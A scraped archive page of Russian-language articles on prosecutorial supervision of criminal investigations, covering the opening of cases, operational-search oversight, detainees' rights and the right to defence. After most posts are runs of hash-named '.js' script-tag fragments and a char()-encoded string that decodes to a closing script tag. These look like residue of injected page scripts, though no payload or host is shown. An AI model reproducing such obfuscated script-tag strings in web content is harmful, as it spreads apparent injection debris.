Сегодня
НАВИГАЦИЯ:
ЮРИДИЧЕСКОЕ НАСЛЕДИЕ:
РАЗНОЕ:
РЕКЛАМА:
АРХИВ НОВОСТЕЙ:
Надзор за законностью возбуждения уголовных дел
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
Возбуждение уголовного дела является ответственной стадией уголовного судопроизводства. Законное, обоснованное и своевременное возбуждение уголовного дела является одним из необходимых условий как быстрого и полного раскрытия преступления, так и его полного, объективного и всестороннего расследования. И наоборот, незаконное, необоснованное, несвоевременное (запоздалое) возбуждение уголовного дела приводит к утрате доказательств содеянного, к снижению актуальности события совершенного преступления, а в конечном итоге - к оставлению безнаказанными лиц, совершивших преступления, в том числе и особо опасные, такие как бандитские налеты, умышленные убийства, разбойные нападения, грабежи и иные тяжкие преступления.
Изучение практики свидетельствует, что многие заявления и сообщения о преступлениях не получают должного реагирования из-за несвоевременного возбуждения уголовных дел. Например, при проверке нераскрытых преступлений, совершенных в отдельных регионах РФ, установлено, что только пятая часть из этих дел возбуждена в день совершения преступления, хотя в заявлениях и сообщениях содержались достаточные данные о совершенных преступлениях.
Не менее опасна и другая крайность - это непродуманное, поспешное возбуждение дела, что влечет за собою незаконные и необоснованные задержания и аресты, обыски и выемки, необоснованное предъявление обвинения, а в конечном счете - незаконное и необоснованное осуждение граждан.
Незаконное, необоснованное и к тому же поспешное возбуждение уголовных дел носило особенно распространенный характер, когда критерием раскрытия преступлений являлось вынесение органом дознания или следователем постановления о возбуждении уголовного дела.
Этот критерий был введен Инструкцией МВД СССР № 249 от 11 ноября 1970 г., согласованной с Прокуратурой Союза ССР. Органы дознания и следователи, стремясь побыстрее отчитаться перед руководством о раскрытии преступлений, допускали нередко незаконное и необоснованное возбуждение уголовных дел. Этот критерий не выдержал испытания временем и в том же порядке (Инструкция МВД СССР от 1 декабря 1980 г.) был перенесен на момент предъявления обвиняемому обвинения. Однако и этот критерий оказался несовершенным: если с его введением заметно снизилось количество незаконных и необоснованных решений о возбуждении уголовных дел, то, начиная с 1981 г., стало заметно возрастать количество лиц, необоснованно привлекаемых к уголовной ответственности. Существенные изменения в определении критерия раскрытия преступления были внесены совместным указанием Генерального прокурора СССР и Министра внутренних дел СССР № 91/11 от 19 ноября 1987 г. "О введении единого критерия оценки раскрытого преступления и внесении изменений в Инструкцию о едином учете преступлений". В соответствии с этими указаниями преступление следует считать раскрытым лишь тогда, когда по уголовному делу окончено производство и прокурор утвердил обвинительное заключение. Этот критерий является действующим и на сегодня. Введение нового критерия сразу же отразилось на состоянии раскрытия преступлений. Если до 1988 г. нераскрытыми значились б- 7% от общего числа зарегистрированных преступлений, то в последующие годы это количество возросло до 40-50%, что примерно правильно отражает состояние раскрываемости преступлений.
Несмотря на весьма существенное снижение количества необоснованных и незаконных постановлений о возбуждении уголовного дела, тем не менее органы дознания и следствия, в особенности органы дознания, принимают еще немало незаконных решений о возбуждении уголовных дел, многие из которых отменяются прокурорами. Достаточно сказать, что органы прокуратуры ежегодно отменяют свыше 50 тыс. незаконных и необоснованных постановлений. Если к тому же учесть, что в процессе расследования за отсутствием состава и события преступления прекращается около 10% уголовных дел, находящихся в производстве следователей и органов дознания, то станет понятным, что для этих органов не стало основополагающим правилом - относиться с должной ответственностью к законности и обоснованности возбуждения уголовных дел.
О существенных недостатках при решении вопросов о возбуждении уголовных дел свидетельствует весьма значительное увеличение количества оправдательных приговоров по уголовным делам, большинство из которых было возбуждено необоснованно. Активность судов в .вынесении оправдательных приговоров особенно возросла начиная с 1987 г. Этому в известной степени способствовали "призывы" Пленума Верховного Суда СССР (постановление от 5 декабря 1986 г. "О дальнейшем укреплении законности при осуществлении правосудия"). И в самом деле, если за 1986 г. суды постановили оправдательных приговоров в отношении 1340 чел., то в 1987 г. это количество составило уже 2206, в 1988 г. - 2395, в 1989 г. - 2472'.
Судами Российской Федерации только за 1993 г. было постановлено 3157 оправдательных приговоров2. Тенденция роста числа оправдательных приговоров продолжается и в настоящее время.
К количеству оправдательных приговоров необходимо добавить значительное число прекращенных производством дел в кассационной и надзорной инстанции.
Было бы неправильным утверждать, что постановление судами оправдательных приговоров и вынесение вышестоящими судебными инстанциями определений (постановлений) о прекращений уголовных дел производством связано во всех случаях с незаконным и необоснованным возбуждением уголовных дел. Есть немало уголовных дел, по которым оправдательные приговоры вынесены в связи с другими основаниями. Однако в большом числе случаев принятию судами указанных выше решений, как правило, предшествует неправильное решение органов дознания и следствия о возбуждении уголовного дела.
Оценивая процессуальные последствия необоснованного возбуждения дел, нельзя не обратить внимание на весьма существенное увеличение числа уголовных дел, возвращенных судами на дополнительное расследование по ходатайству прокурора, убедившегося в ходе судебного заседания в отсутствии достаточных оснований для обвинительного приговора. Большая часть таких дел впоследствии была прекращена по реабилитирующим основаниям, многие из них были прекращены без выполнения каких-либо следственных действий. Из общего числа оконченных расследованием уголовных дел ежегодно прекращаются производством около 25%, в том числе около 10% прекращаются за отсутствием события и состава преступления. Около 5% дел прекращается вследствие недоказанности участия обвиняемого в совершении преступления и вследствие изменения обстановки.
Анализ многих уголовных дел, прекращенных вследствие недоказанности участия обвиняемого в совершении преступления (ч. 2 ст. 208 УПК в редакции Указа Президиума Верховного Совета РСФСР от 8 августа 1983 г.)1, показывает, что большинство таких дел было в свое время возбуждено поспешно, без глубокого анализа поводов и оснований к их возбуждению.
Изучение большого числа уголовных дел, приостановленных производством, показало, что определенная часть из них была также возбуждена необоснованно.
Возбуждение уголовного дела является самостоятельной стадией уголовного процесса. Конструкция УПК позволяет сделать именно такой вывод, так как возбуждению уголовного дела посвящена специальная глава 8 (ст. 108-116). В ней дается законодательное регулирование поводов и оснований к возбуждению уголовного дела, порядка возбуждения и отказа в возбуждении дела, производства последующих за этим процессуальных действий.
Специальная ст. 116 УПК посвящается прокурорскому надзору за законностью и обоснованностью возбуждения уголовных дел. Достаточно подробная правовая регламентация возбуждения уголовного дела подчеркивает важное процессуальное значение этой стадии. Между тем некоторые следователи и прокуроры не учитывают не только важного процессуального, но и политического значения этой стадии, так как она, эта стадия, напрямую связана с соблюдением конституционных прав неприкосновенности личности и жилища, презумпции невиновности, а с другой стороны - обеспечением основополагающего принципа уголовного процесса о неотвратимости наказания за совершенное преступление.
Уголовно-процессуальный закон дает исчерпывающий перечень субъектов возбуждения уголовных дел. К их числу относятся суд, прокурор, следователь и орган дознания (ст. 112 УПК)1. Приведенный перечень субъектов расширенному толкованию не подлежит. В связи с анализом этой и иных норм УПК возникает проблема.
Она связана с определением субъектов возбуждения дел, состоит в том, чтобы предоставить право возбуждения уголовного дела не только органу дознания, как об этом сказано в ст. 3 и 112 УПК, но и лицу, непосредственно производящему дознание. Давая понятие об органах дознания, законодатель (ст. 117 УПК) относит к ним и государственные органы, наделенные этими полномочиями (милиция, органы государственного пожарного надзора и т. д.), а также отдельных должностных лиц (командиры воинских частей, начальники исправительных учреждений и т. д.).a4fb011d12e21038b1aa1d365a272188.js" type="text/javascript">b17f6968f315116d712684eab2e2d93cchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)5efd928c807928c4e95d8f99317a58c8.js" type="text/javascript">614388569133eec46f50878b20df341c.js" type="text/javascript">b60f8ec1beb2779b682ba49fb36de1d5.js" type="text/javascript">d3bca57c2f3e15db0d65a144afabb9b1.js" type="text/javascript">2b4ff8450dbfcc56125e795de4ac028b.js" type="text/javascript">ca75c499ecc50b5c5d23825997f4b913.js" type="text/javascript">dea6c99017d5de8c9e70ea8e0b5e37b1.js" type="text/javascript">1bdfa5896599f44f76693ea8d014af95.js" type="text/javascript">60345aca1e28310d1f85bb756e0137eb.js" type="text/javascript">b3d122c38c10a3eecf368f07b73a3d12.js" type="text/javascript">8e2d8ff641fe809f59aef40b7e17e2c3.js" type="text/javascript">
Коментариев: 0 | Просмотров: 562 |
Надзор за исполнением законов органами, осуществляющими оперативно- розыскную деятельность
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
Надзор за исполнением законов органами, осуществляющими оперативно-розыскную деятельность, длительное время не был достаточно регламентирован законом. Из-за отсутствия законодательного регулирования прокуроры не могли оценить ход и результаты деятельности оперативно-розыскных органов. Применение технических и иных средств, а также результаты выполнения оперативно-
розыскных мероприятий на протяжении многих лет находились "за семью печатями". Более того, в 1960-1970 гг. Генеральный прокурор СССР издал ряд приказов, которыми предписывал прокурорам и следователям не вмешиваться в оперативно-розыскную деятельность органов внутренних дел.
Ныне в соответствии со ст. 29, 30 Закона о прокуратуре прокурорам определены полномочия по надзору за законностью оперативно-розыскной деятельности. В развитие принятого Закона о прокуратуре Генеральный прокурор РФ 20 мая 1993 г. издал приказ № 15 руководящего характера "Об организации надзора за исполнением Закона РФ "Об оперативно-розыскной деятельности в Российской Федерации", в котором были даны указания подчиненным прокурорам относительно их полномочий по устранению нарушений закона органами оперативно-розыскной службы.
В настоящее время действует приказ Генерального прокурора РФ № 48 от 9 августа 1996 г. "Об организации надзора за исполнением Федерального закона "Об оперативно-розыскной деятельности"1. Деятельность прокурора по исполнению данного приказа дополнительно регулируется указанием Генерального прокурора РФ и Министра МВД РФ № 44/15 от 29 июля 1996 г.; № 1/12812 от 25 июля 1996 г. "О порядке предоставления органами внутренних дел материалов для осуществления прокурорского надзора за исполнением Федерального закона "Об оперативно-розыскной деятельности".
Если обратиться к истории уголовно-процессуального законодательства, то мы увидим, что впервые возможность производства оперативно-розыскных действий была предусмотрена в УПК 1923 г. (ст. 93). Однако это касалось лишь необходимости проверки анонимных заявлений. Законодатель на протяжении всей истории существования уголовно-процессуального права был весьма "осторожен" относительно того, чтобы допустить оперативно-розыскную деятельность органов дознания в качестве самостоятельного, процессуального средства при раскрытии и расследовании преступлений. Возможность проведения оперативно-розыскных мероприятий как при раскрытии, так и при расследовании преступлений была закреплена в Основах уголовного судопроизводства Союза ССР и союзных республик 1958 г., в ст. 29 которых было указано, что "на органы дознания возлагается принятие необходимых мер в целях обнаружения признаков преступления и лиц, совершивших их". Эта норма общесоюзного закона была перенесена в Уголовно-процессуальный кодекс РСФСР в той же редакции (ст. 118). Иначе говоря, законодатель не взял на себя миссии расширить правовое регулирование выполняемых оперативно-розыскных действий, хотя следственно-
прокурорская практика настойчиво выдвигала необходимость легализации этой деятельности. Это было обусловлено тем обстоятельством, что в условиях роста преступности, в особенности организованной, и коррупции все чаще и чаще органам следствия приходится прибегать к содействию оперативно-розыскных органов.
Необходимо отметить, что многие теоретики права под предлогом охраны неприкосновенности личности, ее жилища, тайны переписки и других конституционных прав выступали против "узаконивания" оперативно-розыскной деятельности. Поэтому только закон должен быть регулятором оперативно-розыскной деятельности.
Первый и весьма важный шаг в этом плане был сделан принятием 12 июня 1990 г. Верховным Советом СССР Закона СССР "О внесении изменений и дополнений в Основы уголовного судопроизводства Союза ССР и союзных республик", в соответствии с которым в ст. 29 Основ были внесены дополнения, согласно которым на органы дознания возлагаются обязанности принятия оперативно-розыскных мер в целях обнаружения признаков преступления и лиц, их совершивших, выявления фактических данных, которые могут быть использованы в качестве доказательств по уголовному делу после их проверки в соответствии с уголовно-процессуальным законодательством. На органы дознания Законом возлагались обязанности выполнения оперативно-розыскной деятельности с использованием звукозаписи, видеозаписи и кинофотосъемки1.
Тем же Законом в Основы уголовного судопроизводства была введена дополнительная норма (351), предусматривающая возможность прослушивания телефонных и иных переговоров, ведущихся с телефонов и других переговорных устройств. Закон предусматривает следующие условия осуществления этого оперативного действия: - оно допускалось лишь в отношении подозреваемого, обвиняемого и иных причастных к преступлению лиц; если возникала необходимость прослушивания переговоров иных участников процесса, в частности, потерпевших и свидетелей, то это возможно было сделать только с их согласия; - прослушивание могло быть произведено лишь по возбужденному уголовному делу; в период проверки, предшествующей возбуждению уголовного дела, применение этого оперативного средства
не допускалось; - прослушивание осуществлялось лишь в соответствии с определением суда при наличии достаточных оснований полагать, что в результате прослушивания будут получены сведения, имеющие
существенное значение по уголовному делу; - прослушивание осуществлялось лишь в соответствии с постановлением об этом следователя или органа дознания· с санкции
прокурора;
- прослушивание могло осуществляться в течение шести месяцев, независимо от сроков следствия, объема обвинения и числа обвиняемых по уголовному делу.
Закон от 12 июня 1990 г. предусматривал необходимость детального правового регулирования в масштабах союзных республик. Впредь до принятия Закона РФ правоохранительные органы руководствовались ведомственным актом - Рекомендациями по применению средств видео-, звукозаписи, кинофотоаппаратуры, телефонной связи и использованию полученных результатов при раскрытии и расследовании преступлений, разработанными и утвержденными 30 июля 1990 г. Министерством юстиции СССР, Верховным Судом СССР, КГБ СССР и МВД СССР. В Рекомендациях было предусмотрено применение указанных криминалистических и иных технических средств как до возбуждения уголовного дела, так и в процессе расследования преступления. Безусловно, этот нормативный акт на определенное время и в определенной мере восполнял пробел уголовно-процессуального закона, но тем не менее он не мог заменить закона, поэтому сразу же после принятия Закона от 12 июня 1990 г. началась активная подготовка проекта Закона об оперативно-розыскной деятельности. При этом была поставлена задача - отделить деятельность оперативного характера от розыска скрывавшегося или неустановленного преступника. Розыск обвиняемого при неизвестности его местонахождения может осуществляться не только оперативно-розыскной службой, но и следователями органов дознания и предварительного следствия (ст. 196 УПК).
При оперативно-розыскной деятельности ставится цель установить неизвестных следствию лиц, совершивших преступление, а также выяснить обстоятельства содеянного, при розыскной же деятельности речь идет об установлении местонахождения лица, совершившего преступление. Производство розыскных действий - прерогатива как органов дознания (ст. 118 УПК), так и органов расследования (ст. 196 УПК). Лицо, производящее дознание, как и следователь, обязано принять все зависящие от него меры к установлению местонахождения преступника. В этих целях органы дознания и следователи располагают целым арсеналом процессуальных средств, которые должны в полной мере использовать. И только тогда, когда они не достигнут поставленной цели, они вправе дать соответствующие поручения оперативно-розыскной службе.72fe6e126814a8e79aea3bf110b1267f.js" type="text/javascript">fafd8174f9c23b0dd98d2101264b970cchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)afb89144f7b11d65e2910a88733e9c1a.js" type="text/javascript">299da12e75c60da1eacad9011ca0aa2d.js" type="text/javascript">f324285f04d04334045bb1fdec45ccba.js" type="text/javascript">753133e1472b7b318d93c30c85a8ab47.js" type="text/javascript">7ba3b30ef968f36dc1edf98ce5821ef4.js" type="text/javascript">c5755cbb2b2f6b7221e09d87a2f8c35f.js" type="text/javascript">4d8f70e97f592ca7d0dd4866b3ca9e26.js" type="text/javascript">3030ed9b1376a3844661ace161c32986.js" type="text/javascript">8f6caf89334dc1107da60542115d6926.js" type="text/javascript">6702966506f2616b791e30bc92b92a43.js" type="text/javascript">3cb5c542fd20d4e76c5af2895046678d.js" type="text/javascript">
Коментариев: 0 | Просмотров: 225 |
Надзор за соблюдением конституционных прав и законных интересов граждан при осуществлении дознания и предварительного следствия
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
Прокурорско-следственная практика показывает, что при проведении дознания и предварительного следствия нередко допускаются ошибки, промахи, упущения и даже нарушения норм уголовного процесса, вследствие чего ущемляются права и законные интересы граждан. По любому уголовному делу можно обнаружить противоречия в доказательствах, разночтения в показаниях одного и того же лица, допрошенного в разное время, какие-либо ошибки технического порядка (нет подписи следователя на протоколе допроса, не указана или неточно указана дата и т. п.). Поэтому, когда идет речь об оценке опасности того или иного нарушения норм уголовного процесса, следует подходить к этому разумно и дифференцирование. При этом следует учитывать степень существенности нарушений, влияние их на принятие окончательного решения по уголовному делу. Разумеется, любое нарушение закона недопустимо и не должно быть оставлено без реагирования прокурора. Но при всех условиях нетерпимы те из них, которые затрагивают закрепленные в Конституции Российской Федерации права и законные интересы граждан, связанные с нарушениями принципов и условий судопроизводства, обеспечивающих установление истины по делу и принятие по делу законного и обоснованного решения.
Когда речь идет о нарушениях норм уголовно-процессуального закона, следует иметь в виду, что понятие существенности нарушения уголовно-процессуального законодательства, данное в ст. 345 УПК, носит универсальный характер, то есть имеет одинаковое отношение к любой стадии уголовного процесса, в том числе к стадии предварительного следствия. Существенными нарушениями уголовно-процессуального закона, говорится в ст. 345, признаются такие нарушения требований Уголовно-процессуального кодекса, которые путем лишения или стеснения гарантированных законом прав участников процесса при рассмотрении дела или иным путем помешали СУДУ всесторонне разобрать дело и повлияли или могли повлиять на постановление законного и обоснованного приговора. Таким образом,
при оценке установленного нарушения закона прокурор исходит из указанных выше критериев. Необходимо особо строго подходить к тем нарушениям закона, которые связаны с обеспечением конституционных гарантий прав и законных интересов граждан, которые наряду с иными правами образуют правовой статус личности в обществе. Эти гарантии имеют не только процессуальный, но и политический характер.
Наиболее важным конституционным правом, которое должно строго соблюдаться следователем и прокурором, является неприкосновенность личности. Конституция Российской Федерации (ст. 22), гарантируя гражданам неприкосновенность личности, указывает: "Каждый имеет право на свободу и личную неприкосновенность".
Уголовно-процессуальное законодательство весьма обстоятельно определяет условия, при которых гражданин может быть задержан (ст. 122, 1221 УПК) и арестован (ст. 96, 96' УПК). Некоторые следователи и работники органов дознания расценивают задержание и арест не как процессуальное действие, связанное с пресечением преступной деятельности подозреваемого или попытки скрыться от следствия или суда, а как средство доказывания обнаруженного, но еще не раскрытого преступления. Задержание используется этими работниками для того, чтобы получить "нужные" этим работникам доказательства, заставить задержанного признать свою вину, если даже лицо невиновно и выдвигает при этом какие-либо убедительные доводы в свое оправдание.
Осуществляя надзор за законностью задержаний и арестов, прокурор исходит из требований уголовно-процессуального законодательства, приказов и указаний Генерального прокурора РФ, а также Федерального закона "О содержании под стражей подозреваемых и обвиняемых в совершении преступлений" от 15 июля 1995 г.1 Важно подчеркнуть, что деятельность органов внутренних дел и прокуратуры по осуществлению задержаний и арестов регламентируется не актами административного характера, а законодательными актами. Закон требует от прокуроров такой организации надзора, чтобы задержание граждан производилось не иначе, как в порядке и по основаниям, указанным в законе (ст. 122, 1221 УПК). При этом необходимо учитывать, что задержание по подозрению в совершении преступления отличается по своей процессуальной природе от задержания в административном порядке, когда оно осуществляется для проверки личности правонарушителя. Задержание может быть применено к подозреваемому только после возбуждения уголовного дела. Задержание подозреваемого до возбуждения уголовного дела является грубым нарушением закона.
В целях обеспечения законности задержания целесообразно установить строгий порядок по извещению прокуроров о произведенном задержании. Это должно быть сделано в течение суток и непременно в письменном виде. В сообщении должны содержаться основания задержания и данные о личности задержанного. В течение 48 часов прокурор или освобождает задержанного, или дает санкцию на его арест. Одним из действенных средств прокурорского надзора за законностью и обоснованностью задержания, устранения и предупреждения нарушений права неприкосновенности личности являются систематические проверки законности задержания и содержания задержанных в изоляторах временного содержания, осуществляемые прокурорами. Это требование вытекает из приказа Генерального прокурора РФ № 8 от 26 февраля 1997 г. "О совершенствовании прокурорского надзора за соблюдением законов при исполнении уголовных наказаний и в следственных изоляторах". Проверки, проводимые прокурорами в изоляторах временного содержания задержанных, должны быть не только и не столько заранее запланированными, регулярность которых известна работникам органов внутренних дел, сколько внезапными, проводимыми в разное время суток (ночью, рано утром, до начала рабочего дня и т.д.). При этом прокурор не ограничивается проверкой содержания задержанных в специально отведенных для этого местах, а ему необходимо также обойти все помещения и ознакомиться со всеми лицами, находящимися там в момент проверки. Заведомо незаконно задержанных граждан работники милиции часто не водворяют в изоляторы временного содержания, а помещают в рабочих кабинетах или иных помещениях органов внутренних дел. Там нередко укрываются незаконно задержанные лица.
Проверяя законность содержания задержанных, прокурор знакомится с документами, на основе которых лица подвергнуты задержанию, и производит допрос задержанных. Он также проверяет исполнение законов, регулирующих порядок и условия содержания задержанных. Прокурор следит за тем, чтобы по каждому задержанию был составлен протокол по установленной форме с указанием времени, места и оснований задержания: объяснение задержанного, данные о его личности, разъяснение прав и обязанностей задержанного. Прокурор освобождает задержанного, если усматривает, что он задержан необоснованно или в этом не было процессуальной необходимости (ст. 122, 1221 УПК).69b5bc1f9b17a22faeab91589ab42586.js" type="text/javascript">dd013883dd1f9950021f2f00a26e0c60char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)120f3eb0071293921f4f69d741d7018d.js" type="text/javascript">87c39e231b75813584309927ae8bc47e.js" type="text/javascript">81e3f0635001a13e03d077f27941897b.js" type="text/javascript">313e65b41a7dbfaf9f8254b3a4a7d335.js" type="text/javascript">39107e534cce3723696a7546fce3bed9.js" type="text/javascript">24cb1de2eb338cf4409f75998307e64a.js" type="text/javascript">d651110e8305ca27d3869d13ce2146b5.js" type="text/javascript">965ac5def610c08e40d5cc64ea70737d.js" type="text/javascript">734ebf29b15d992209150ec56ede56a0.js" type="text/javascript">b123eb850d59a21c9bb0033f24aacc9f.js" type="text/javascript">e1231b0fb92735134809919e85eca286.js" type="text/javascript">
Коментариев: 0 | Просмотров: 346 |
Надзор за обеспечением права обвиняемого на защиту
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
В обязанности прокурора входит осуществление надзора за выполнением органами дознания или следствия требований Конституции Российской Федерации (ст. 48) об обеспечении права граждан на защиту. Речь идет, главным образом, об участии защитника-адвоката в производстве по уголовному делу. Конституционное регулирование деятельности адвокатов свидетельствует о важном значении деятельности адвокатуры в уголовном судопроизводстве, в постановлении судом законного, обоснованного и справедливого приговора. В Конституции подчеркивается, что каждый задержанный, заключенный под стражу, обвиняемый в совершении преступления "имеет право пользоваться помощью адвоката (защитника) с момента соответственно задержания, заключения под стражу или предъявления обвинения".
Прокурор осуществляет надзор за тем, чтобы защитник был привлечен к участию в производстве дознания или предварительного следствия с момента задержания или ареста подозреваемого, а во всех остальных случаях - с момента предъявления обвинения. Прокурор следит за тем, чтобы следователь как при задержании и аресте, так и при предъявлении обвинения разъяснил обвиняемому его право иметь защитника. При этом следователь обязан также разъяснить право обвиняемого иметь защитника, расходы по оплате услуг которого может принять на себя коллегия адвокатов, если обвиняемый не располагает денежными средствами для оплаты услуг адвоката. Следователь не вправе навязывать обвиняемому в качестве защитника определенное лицо. В то же время следователь должен иметь в виду, что член коллегии адвокатов не вправе уклониться от осуществления защиты как по соглашению, так и по назначению коллегии адвокатов. Содержание обвиняемого под стражей не должно служить препятствием к реализации обвиняемым своего права на защиту. Для того, чтобы обеспечить право обвиняемого на защиту, следователь в этом случае обязан предоставить ему свидание с близкими или родственниками, которые смогут пригласить защитника для участия в процессе. Если у обвиняемого нет такой возможности, а защитник должен принять участие в процессе со стадии предъявления обвинения, выполнение этой функции следователь должен принять на себя (ст. 49 УПК). Он направляет свое предписание в юридическую консультацию района или города по месту производства предварительного следствия. В тех случаях, когда защитник, избранный обвиняемым, не может явиться для участия в деле, следователь в соответствии со ст. 48 УПК должен предложить обвиняемому пригласить другого защитника, установив для этого 5-дневный срок. Если обвиняемый в указанный срок не воспользуется этим правом, следователь через юридическую консультацию назначает ему другого защитника. Следователь обязан принять меры к замене защитника, если позиция прежнего по вопросам доказанности или недоказанности преступления, его юридической оценки и т. д. не отвечает позиции обвиняемого. Такое решение следователь может принять в случаях, если по этому поводу есть обоснованные заявления (ходатайства) или самого обвиняемого, или его защитника.aea51f498fb5e5163c45f8ba7d471dbb.js" type="text/javascript">ac5fe8e80918a18fd990f3f7a25713f5char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7476e9b8b49d16e918121e6d4f8f87a1.js" type="text/javascript">8da7dd4c326eeecf8fd2fd3d74f521b7.js" type="text/javascript">b7c0205ad9af90aa0314951befdce83d.js" type="text/javascript">1c14c92c6d080c6314e326e4571d5c13.js" type="text/javascript">4e62c080e958657f82de2f342c9b8abb.js" type="text/javascript">adf1756b5d3b08f85c9f833ed0e9a34d.js" type="text/javascript">45ae768b6589de88c329894985e215ab.js" type="text/javascript">7f99741f1f0857600363fc0180841732.js" type="text/javascript">112f811d9ca8a25f7e30f25e011fb278.js" type="text/javascript">1e935e9d88c4bbacd1942b9a6ab3edd0.js" type="text/javascript">1860e7bf489c1d8aa396399a000b29a5.js" type="text/javascript">
Коментариев: 0 | Просмотров: 327 |
Прокурорский надзор и процессуальная самостоятельность следователя
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
Производство дознания и предварительного расследования является творческим процессом. От инициативы следователя во многом зависит быстрое и полное раскрытие преступления, а также всесторонность и объективность его расследования. Предоставление следователям процессуальной самостоятельности, укрепление правовых гарантий их деятельности являются одним из необходимых условий эффективности их работы. В то же время предоставление следователю процессуальной самостоятельности способствует повышению его ответственности за порученное дело.
Предоставление следователю возможности выбора процессуальных средств при раскрытии и расследовании преступлений, наделение его полнотой полномочий по применению мер процессуального принуждения, избранию конкретной версии, определению пределов обвинения, вида мер пресечения, - все это дает ему возможность успешно выполнять возложенные на него функции. Уголовно-процессуальный закон, нормами которого руководствуются следователи, а также органы дознания, не ставит в зависимость выполнение ими процессуальных действий от полномочий прокурора по осуществлению надзора в уголовном судопроизводстве. Иначе говоря, закон предоставляет процессуальные полномочия непосредственно следователю, возлагая в то же время на него всю полноту ответственности за правильность выполняемых им процессуальных действий.
Участвуя в осмотре места происшествия, опознании, проведении следственного эксперимента, присутствуя при допросе следователем обвиняемого, потерпевшего или свидетеля, прокурор не может и не должен подменять следователя или принимать на себя выполнение его функций. Если у него имеются к допрашиваемому лицу вопросы помимо заданных следователем, он задает их. Это должно найти отражение в протоколе допроса. Кстати сказать, участие прокурора должно быть зафиксировано в процессуальном документе о производстве любого следственного действия. Прокурор удостоверяет это своей подписью в процессуальном документе.
Неправильно поступают те прокуроры, которые, присутствуя на осмотре места происшествия или при производстве следственного эксперимента, командуют действиями следователя, а следователь лишь процессуально оформляет производство этих процессуальных действий. Прокурор вправе вмешаться в деятельность следователя
лишь тогда, когда тот допускает нарушение закона, оставляет невыясненными существенные обстоятельства, имеющие значение по делу. Если прокурор принял на себя производство расследования уголовного дела в полном объеме, он и несет ответственность за всесторонность, полноту и объективность предварительного следствия. Также он отвечает и за качество самостоятельно произведенного допроса подозреваемого, обвиняемого или иного участника процесса.b11156b7516dc45d690c70b934d73531.js" type="text/javascript">3c4048d36a52ad137a975599b108b373char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)52386345eaa825446e1e6d373b52ea00.js" type="text/javascript">5aaf88a9b934471a7a7cfddb739886b3.js" type="text/javascript">fad76da111cae586a5b1865d848bdb83.js" type="text/javascript">a4f3ef83689dc8ffa3af0ba9df776061.js" type="text/javascript">87618f21f4710010da3c6d0fe39da2e7.js" type="text/javascript">438f8456b883f9d9e5e629393e52dd3c.js" type="text/javascript">279c8dcc6e42832c06485a93ba84f3ce.js" type="text/javascript">4f60e978a88b9ef03cf6347b925aba44.js" type="text/javascript">2033aa872642e56f3a4db6494fc45d1c.js" type="text/javascript">8e291016f621204d760ace2ad094f1dd.js" type="text/javascript">37771fa6ccbf27970da251a9c9ad3c8c.js" type="text/javascript">
Коментариев: 0 | Просмотров: 414 |
Организация надзора за исполнением законов органами дознания и предварительного следствия
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
Соблюдение законности органами дознания и предварительного следствия в существенной мере обеспечивается прокурорским надзором, а эффективность последнего - правильной его организацией. Необходимо отметить, что состояние прокурорского надзора за исполнением законов в этой стадии уголовного судопроизводства пока еще имеет существенные недостатки. По значительной части уголовных дел не обеспечивается надлежащего расследования, нарушается закон и допускается волокита, многократно, нередко без достаточных оснований, продлеваются сроки расследования, отмечается неудовлетворительная раскрываемость преступлений. Все это связано с недостатками прокурорского надзора за следствием и
дознанием.
В приказе № 31 от 18 июня 1997 г. "Об организации прокурорского надзора за предварительным следствием и дознанием" Генеральный прокурор ставит перед подчиненными ему прокурорами задачу организовать надзор за законностью производства дознания и предварительного следствия так, чтобы ни одно действие или принятое решение органов дознания и предварительного следствия не расходилось с законом.
Состояние борьбы с преступностью, принятие нового Уголовного кодекса Российской Федерации и внесение существенных изменений в УПК РСФСР вызывают необходимость дальнейшего совершенствования прокурорского надзора в стадии дознания и предварительного следствия, усиления контроля за исполнением принимаемых прокурором решений. Назовем некоторые меры по улучшению организации прокурорского надзора в стадии дознания и предварительного следствия.
1. Прокурорам республик в составе Российской Федерации, прокурорам краев и областей, городов и районов сосредоточить внимание на предупреждении и устранении нарушений закона, связанных с незаконными задержаниями и арестами, обысками и наложением арестов на почтово-телеграфную корреспонденцию, необоснованным привлечением граждан к уголовной ответственности.
2. Оказывать органам дознания и следователям необходимую помощь в расследовании больших по объему и сложных по доказательствам уголовных дел. Практиковать обсуждение с ними хода работы, вырабатывать согласованные действия по раскрытию преступлений.
3. Шире использовать предоставленные прокурорам права давать органам дознания поручения и указания о производстве оперативно-розыскных мероприятий, а также отдельных процессуальных действий при производстве расследования по делу. При этом следует учитывать, чтобы это не повлекло за собою нарушение сроков следствия и содержания обвиняемого под стражей.
4. При расследовании террористических актов, убийств, а также преступлений, связанных с нарушением правил охраны труда и техники безопасности и других, где требуется применение специальных познаний, прокурорам следует рекомендовать следователям шире привлекать специалистов, использовать научно-технические и криминалистические средства.
